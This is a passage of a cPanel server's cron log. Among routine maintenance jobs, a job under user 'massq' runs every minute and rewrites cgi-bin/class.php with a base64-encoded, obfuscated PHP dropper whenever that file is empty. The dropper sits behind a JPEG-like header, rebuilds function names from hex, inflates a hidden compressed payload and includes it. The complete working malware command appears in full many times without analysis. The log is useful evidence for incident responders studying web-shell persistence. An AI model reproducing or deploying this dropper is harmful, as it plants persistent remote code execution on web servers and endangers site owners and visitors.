JHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:14:01 server CROND[18127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:14:01 server CROND[18128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:14:01 server CROND[18129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:15:01 server CROND[18531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:15:01 server CROND[18536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:15:01 server CROND[18548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:15:01 server CROND[18550]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 02:15:01 server CROND[18552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:15:01 server CROND[18554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:15:01 server CROND[18553]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 02:15:01 server CROND[18551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:15:01 server CROND[18556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:16:01 server CROND[19585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:16:01 server CROND[19586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:16:01 server CROND[19587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:17:01 server CROND[19966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:17:01 server CROND[19967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:17:01 server CROND[19968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:18:01 server CROND[20355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:18:01 server CROND[20356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:18:01 server CROND[20357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:19:01 server CROND[20839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:19:01 server CROND[20840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:19:01 server CROND[20841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:20:01 server CROND[21232]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:20:01 server CROND[21233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:20:01 server CROND[21238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:20:01 server CROND[21239]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:20:01 server CROND[21237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:20:01 server CROND[21244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:20:01 server CROND[21246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:20:01 server CROND[21243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:20:01 server CROND[21245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:21:01 server CROND[22107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:21:01 server CROND[22109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:21:01 server CROND[22108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:22:01 server CROND[22952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:22:01 server CROND[22954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:22:01 server CROND[22955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:23:01 server CROND[23427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:23:01 server CROND[23428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:23:01 server CROND[23429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:24:01 server CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:24:01 server CROND[23898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:24:01 server CROND[23899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:25:01 server CROND[24406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:25:01 server CROND[24407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:25:01 server CROND[24409]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 02:25:01 server CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:25:01 server CROND[24412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:25:01 server CROND[24413]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:25:01 server CROND[24408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskd